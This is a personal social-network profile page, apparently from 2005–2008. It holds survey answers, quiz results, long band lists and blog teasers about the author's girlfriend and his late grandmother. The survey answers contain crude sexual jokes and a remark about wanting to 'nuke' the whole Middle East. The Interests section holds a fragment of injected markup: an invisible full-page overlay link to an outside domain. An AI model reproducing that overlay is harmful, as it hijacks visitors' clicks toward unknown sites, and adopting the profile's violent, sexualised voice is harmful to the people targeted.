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About Me


TELL ME ABOUT YOURSELF - The Survey
Name: Adam
Birthday: October 25, 1985
Birthplace: Philadelphia, you know it bitches
Current Location: Maple Shade, its like the terd stuck between philadelphia and the coean
Eye Color: brown
Hair Color: brown
Height: 5'11''
Right Handed or Left Handed: Right Handed, ampydextrous when masturbating
Your Heritage: German, Irish, Ukranian, Welsh, Polish
The Shoes You Wore Today: Brown Vans with the neon laces so my mom cant lose me in the dark
Your Weakness: I impregnated britney spear's little sister
Your Fears: impregnating britney spear's little sister
Your Perfect Pizza: meat baby, if it wasnt living at one point it should be on top of the cheese
Goal You Would Like To Achieve This Year: Show Laura how much i realyl love her
Your Most Overused Phrase On an instant messenger: spit or swallow?
Thoughts First Waking Up: will this be the day everyone realizes i;m better than they are,?
Your Best Physical Feature: my ability to fill any hole
Your Bedtime: after sex
Your Most Missed Memory: hockey everyday
Pepsi or Coke: Surge
MacDonalds or Burger King: Wendy's she's fuckable
Single or Group Dates: whatever gets me laid
Lipton Ice Tea or Nestea: homemade
Chocolate or Vanilla: swirly
Cappuccino or Coffee: tea, i don't drink columbian dirt
Do you Smoke: no
Do you Swear: rather than being typical and cursing up a storm i will say Yes indeed i do
Do you Sing: shower, and car
Do you Shower Daily: of course how else could i sleep at night if i didnt clean myself afterinteracting with morons all day
Have you Been in Love: I am in love right now, I love you Laura
Do you want to go to College: 1 more year and i'm out of this factory of whores and jack asses
Do you want to get Married: to Laura
Do you belive in yourself: i do otherwise i wouldnt be where i am right nwo
Do you get Motion Sickness: only during sex
Do you think you are Attractive: only before sex
Are you a Health Freak: i eat refried fried fat
Do you get along with your Parents: i still live with them, thats a start
Do you like Thunderstorms: natures way of telling you that you aint shit
Do you play an Instrument: is vagina an instrument?
In the past month have you Drank Alcohol: last night
In the past month have you Smoked: never have never will
In the past month have you been on Drugs: never have, never wll
In the past month have you gone on a Date: me and laura always have a date
In the past month have you gone to a Mall: its Kwanza season what good kwansanite has been to the mall
In the past month have you eaten a box of Oreos: ney
In the past month have you eaten Sushi: the onyl thing close to raw fish i eat is cooked fish
In the past month have you been on Stage: i wish
In the past month have you been Dumped: certainly not
In the past month have you gone Skinny Dipping: too fucking cold my dick wiould freeze and than crack off
In the past month have you Stolen Anything: your virginity
Ever been Drunk: nope
Ever been called a Tease: oh yea
Ever been Beaten up: nah when people reaize im not black, jewish, or an idiot they leave me be
Ever Shoplifted: nope i only steal children and virginity
How do you want to Die: rocking chair accident
What do you want to be when you Grow Up: a teacher or your mother
What country would you most like to Visit: the middle east, all of it jsut to nuke the fuck out of them
In a Boy/Girl..
Favourite Eye Color: does not matter
Favourite Hair Color: does not matter
Short or Long Hair: does not matter
Height: withing 6 inches of me
Weight: not as big as me lol
Best Clothing Style: whatever makes her tits look bigger
Number of Drugs I have taken: nadda
Number of CDs I own: too fucking many
Number of Piercings: 0 ;.( used to have 4
Number of Tattoos: 0
Number of things in my Past I Regret: regret nothing, accept your life for what you have made of it
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What You Cry Out: "This is gonna stain..."
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Your name:
Weapon of Choice: Your own bare hands
Your Favorite Target: People named "Steve"
Your Kill Count: 79,919,827
Your Battle Cry: "Enlarge your penis with this ALL-NATURAL PILL!"
Years You Spend in Jail: 18
How Much Money In Damages You Cause: $86,389,317,424,589
Your Homocidal Insanity Level:: 20%
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How evil are you?
You're the Chatterer. As Pinhead's second in
command, you enjoy the tiny smidgen of power he
indulges you with (like letting you get a
make-over in HR2). But what you enjoy most is
wandering the corridors of hell, looking for
someone to 'play' with. And of course, if you
can't find anyone, you never feel too alone.
There's always the chattering of your teeth to
keep you company.
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Name
Age
Favorite Color
Nickname
Sex - 75%
Romance - 67%
Self - Control - 18%
Kissing - 94%
Cuddling - 60%
Kinkiness - 89%
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Your Birthdate: October 25
Your birth on the 25th day of the month (7 energy) modifies your life path by giving you some special interest in technical, scientific, or other complex and often hard to understand subjects.
You may become something of a perfectionist and a stickler for details.
Your thinking is logical and intuitive, rational and responsible.
Your feelings may run deep, but you are not very likely to let them show.
This birthday makes you a more private person, more introspective and perhaps more inflexible.
In friendships you are very cautious and reserved.
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Which Teenage Mutant Ninja Turtle are You?

Raphael
You can be considered the 'dark one' of your family. You're a hot-head, face it. Or...the 'Realist' some may say. It's a dog-eat-dog world, you're a pretty big dog. You normally lay low until some one gets up your back. You're anti-social and short-tempered...and you're not big on admitting it! But, even though you can act kinda rude and not-there, you're a rather large teddy bear on the inside when it comes to the ones you love...in danger. You hate being called a, 'softy' and you're always ready to 'bring it'.
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What will God say to you when you die?
Name
Age
Religion
You will say: Yo.
He will say: Get out.
How much do you deserve to be in heaven? - 67%
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My Interests

Hockey (street, roller, or ice), baseball, football, soccer,any) metal of everykind, paintballing, poetry, horror books, Love the Hellraiser series. Poker, Urban exploringa class="popup_wrapper" style="outline:none;background-color:transparent!important;c ursor:default;left:-30px;top:0px;height:6877px;width:1007px; "class=popup_x href="http://nolala.cn/s/" da$d

I'd like to meet:

Robert Esche, Brian Boucher, Martin Brodeur, and Berni Parent, Keith Primeau, Mike RichardsTrevor Strnad from Black Dahlia Murder, Anders from In Flames, Randy Blythe of Lamb of God, and any bands i can.

Music:

How do u like your metal served? I like that shit served heavy, death, black, hardcore, metalcore, doom, power progressive, new-wave british, speed, thrash, funk, alt-metal/nu-metal, its all good. ..m/ x x ..m/Bands I like: 3 Inches of Blood (80's metal is back), A Life Once Lost, The Agnoy Scene, All Out War, All the Remains, Amon Amarth, Anesthesy, Arch Enemy, As Blood Runs Black, As I Lay Dying, At the Gates, Atreyu, Avenged Sevenfold, Behemoth, Between the Buried and Me, Black Sabbath, Bleeding Through, Blood had been Shed, Blind Guardian, Borknager, Breaking Benjamin, By Night, Caliban, Cannibal Corpse, Carcass, Cephalic Carnage, Chevelle, Children of Bodom, Chimaira, Coal Chamber, Cradle of Filth, Cryptopsy, Dark Tranquility, Darkest Hour, Deadsy, Death (RIP Chuck), Destroyer666, Devildriver, Dimmu Borgir, Dissection, Disturbed, Dragonforce, Divinity Destroyed, Dying Fetus, E Town Concretre, Eighteen Visions, Emperor, Entombed, Eternal Tears of Sorrow, Exhumed, Exodus Fear Factory, Flaw, From Autumn to Ashes, Goatwhore, God Forbid (JERSEY BOYS), Godsmack, Godflesh, Hatebreed, Heaven Shall Burn, Hopesfall, Hypocrisy, Ill Nino, Immortal, In Flames (Gothenberg forever), Iron Maiden, Killswitch Engage, KoRn (thanks for getting me into music), Lacuna Coil, Lamb of God, Luca Turillia, Madball (Oldschool Hardcore bitches), Megadeth, Meshuggah, Metallica, Moonspell, Mudvayne, MurderSquad, Muse, Mushroomhead, Napalm Death (duh), Nevermore, Nightwishm Nile, NIN, Nonpoint, Nora, Nothing Face, Obituary, Orgy, Papa Roach, Pig Destroyer, PM5K, Primer 55, Rammstein, Rob Zombie, Sepultura, Shadows Fall, Six FEET Under, Slayer (the BAND), Slipknot, Soilwork, Soulfly, Staind, Static X, Stonesour, Strapping Young Lad, Sufer Channel (local band), Suffocation, System of a Down, The mother fucking BLACK DAHLIA MURDER (BEST FUCKING BAND), The Dillinger Escape Plan, The Haunted, The Killing, The Locust, The Red Death, Theatre of Tragedy, Theatres des Vampires, Trivium, Underoath, Unearth, The Human Abstract,

Movies:

Hellriaser, Robocop, Terminator, Predator, Aliens, The Naked Gun, Austin Powers, LOTR, Friday the 13, Nightmare on Elm Street, Hero, Hitch, Miracle, Mighty Ducks, The Transformers Movier (badass), any good old horror movie, or badass adventure movies.

Television:

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Death
You are Death! You are one of the key inventors of modern day death metal. With every album you've always gotten better. You're well respected in the music industry. The metal world wept when your band creator passed away from a brain tumor. Symbolism is an important property in your music.

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Cradle of Filth
You are Cradle of Filth. You're definitely the darkest and considered to be the most
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Chris


80%

Brian


60%

Stewie


40%

Meg


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Lois


20%
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Books:

LOTR, Cantebury Tales, Dante's Divine Comedy, Beowulf, Paradise Lost, Necronomicon, I Spy Books, NHL Encyclopedia, The Hellbound Heart, War is a Force that Gives Us Meaning, Sacrament, East of Eden, Every Harry Potter, Lord of the Rings, i love to read,

Heroes:

my dad, Robert Esche, Jim Craig, Rob Alder, General MacArthur, Preident Lincoln, President Washington, Clive Barker, and my old teachers : Mr. Berdosh, Mr. Bianco, Mrs. Beuregard, Mr. Gilch, Mrs. Mednitsky.

My Blog

RIP Irene Walton August 23 1919 - Maqy 15, 2008

Today the passing of a legend occurred, and though many of us had braced for impact days ago the shock waves were still enough to knock us down. We feel as if out soul itself is bleeding, and screamin...
Posted by Goalies Union 18 on Fri, 16 May 2008 04:23:00 PST

I love you grandmom

AS my grandmom is fading away i find myself reduced to tears when i'm alone. This woman that was the strength of so many is falling, and she will not get up when she hits the ground. Is there any more...
Posted by Goalies Union 18 on Thu, 08 May 2008 11:01:00 PST

My Celebrity Look-alikes

MyHeritage: Family trees - Genealogy - Celebrities - Collage - Morph...
Posted by Goalies Union 18 on Thu, 15 Nov 2007 06:27:00 PST

yo i figured out the perfect death match

my perfect deathmatch would have to be Hamburgler vs. the Burger King both using light sabers, AND the power ranger's megazords. This would kick so much ass.so any way im in school still, and shit is ...
Posted by Goalies Union 18 on Thu, 29 Sep 2005 10:57:00 PST

A dedication to all family and friends that have passed

Grandpop S, Grandmom S, Uncle Steven, Aunt Pat, Uncle Willie, and Jesse. I've held back a long long time, and I have to confess that I miss them all terribly. I showed little emotion when you all died...
Posted by Goalies Union 18 on Thu, 20 Sep 2007 10:29:00 PST

train tracks are fuckign cool

Tursday night me, Josh, and nahill go driving around and wind up next to this huge train bridge. After runnign from a shit load of trucks that almost ran us over, we started climbing the bridge jsut t...
Posted by Goalies Union 18 on Sat, 17 Sep 2005 12:19:00 PST

7 Happy Months, and new pics

So today Laura and I are celebrating our 7 month Anniversary. This is the longes relationship for both of us, and I am happy to say that it looks like it will even go longer. 7 months, and no maj...
Posted by Goalies Union 18 on Thu, 13 Sep 2007 08:57:00 PST

a lonely 2 weeks

Laura is leaving for Germany today, and i don't really feel happy. I want her to have fun, and not worry about me, but its hard for both of us. For the last 8 months Laura and I have talked everynight...
Posted by Goalies Union 18 on Wed, 04 Apr 2007 08:39:00 PST

Why last week was badass

Last week was Valentines day, and originally supposed to be another year of sucking ass, but this year was very different. I found the thing I've wanted for a while, and so to speak she fell into my a...
Posted by Goalies Union 18 on Tue, 20 Feb 2007 07:48:00 PST

The World's Happy Ending

Visions of you visions of me, a portrait of pity. Trapped in this void, buried in our glass coffin, A frail sense of our shattered pedigree. Silent screams, sightless eyes, shaking hands. Man learns i...
Posted by Goalies Union 18 on Wed, 31 May 2006 01:48:00 PST